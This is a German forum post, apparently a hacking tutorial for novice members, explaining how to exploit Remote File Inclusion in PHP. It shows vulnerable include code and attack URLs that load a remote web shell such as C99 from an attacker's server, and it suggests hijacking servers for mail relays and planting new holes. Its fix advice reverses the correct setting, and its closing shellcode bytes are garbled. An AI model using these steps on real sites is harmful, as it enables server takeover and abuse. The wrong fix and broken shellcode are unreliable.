Was ist RFI bzw. Tutorial

  • Ich habe heute extra für ScenecoderZ mal ein Tutorial geschrieben damit auch weniger erfahrene Member mal einen Einblick in die Sache bekommen.
    Ich habe es hier allerdings eher in eine Description umgewandelt, damit es als Hilfssticky diehnen kann.


    ##############################################
    WAS IST RFI und WAS KANN MAN MACHEN
    ##############################################


    Willkommen zu meinem Tutorial über RFI oder auch Remote File Inclusion.
    RFIs sind leicht auszunutzende Sicherheitslücken in PHP-Dateien.
    Man kann durch inludieren eigener Scripte bzw. Dateien leicht administrative
    Rechte erlangen.
    Meistens geschieht das über den GET-Parameter. Remote hei�t es deshalb, da
    der Code bzw. die Shell nicht erst auf den Server geladen oder in eine Datei geschrieben
    werden muss, wie bei einer LFI, sondern direkt von einem anderen Platz aus eingebunden
    werden kann.
    Meistens werden simple Administration-shells benutzt wie die C99.php, da einem da
    so ziemlich alle Wege offen stehen.
    So kann aus einem Root schnell mal ein eigener Mailserver werden oder man
    erstellt neue Lücken, falls die eine entdeckt wird.


    Das als kleine Erklärung.
    ###############################################


    Doch wie findet man so eine Lücke, bzw. wie entsteht sie.


    Das ist relativ einfach, bei PHP gibt es folgende Konfiguration die es erlaubt
    eine fremde URL zu öffnen. Diese ist:


    allow_url_fopen


    sie sollte bei einer RFI auf = on stehen, das kann man testen, wie das geht erkläre
    ich bei Anwenden.
    Seit PHP 5 gibt es desweitere die Einstellung:


    allow_url_include = on/off


    Damit habe ich auch schon erklärt, wie ihr die Lücken auf einer Seite wieder schlie�t.
    off to on ändern.
    Desweiteren gehen wir mal näher auf PHP ein. Die Befehle:


    include und require sowie
    include_once und require_once


    benutzt man zum einbinden von zusätzlichen Dateien in das laufende Script.
    Werden jetzt die Eingaben nicht geprüft, kann der Benutzer Code ausführen, bei
    einer RFI sogar von fremdem Webserver aus.


    Schauen wir uns folgenden einfachen Code an:


    <?php
    include($_GET['url']);
    ?>


    Wenn wir jetzt unsere PHP-Datei erstellen, sehen wir, dass mit dem GET-Parameter
    ?url= etwas eingebunden werden kann, da die Eingaben nicht überprüft werden.
    Wie das geht lest ihr unten.
    ###############################################


    So wie wende ich so eine Lücke jetzt an?


    Wir haben also unsere Datei test.php, die oben stehenden Code beinhaltet.


    Wir laden das Script auf unseren Server, und binden google.de ein.


    seitemitlückeodermeinenserver.de/test.php?url=http://google.de


    Jetzt sollte Google angezeigt werden, ist das möglich können wir auch unsere Shell einbinden.


    seitemitlückeodermeineseite.de/test.php?url=http://servermitshelldrauf.de/shell.php?


    Da öfters .php automatisch gesetzt wird, ändern wir falls es nicht klappt einfach shell.php in
    shell.txt und schon haben wir die Shell eingebunden und können Modifikationen vornehmen.


    Auf die einzelnen Shells gehe ich jetzt nicht ein, das könnt ihr selber entscheiden.
    ################################################

    [SIZE=1]&quot;\x68\x6e\x2r\x73\x68&quot; // push dword 68732f6eh
    &quot;\x68\x2f\x2f\x62\x69&quot; // push dword 69622f7fh[/SIZE]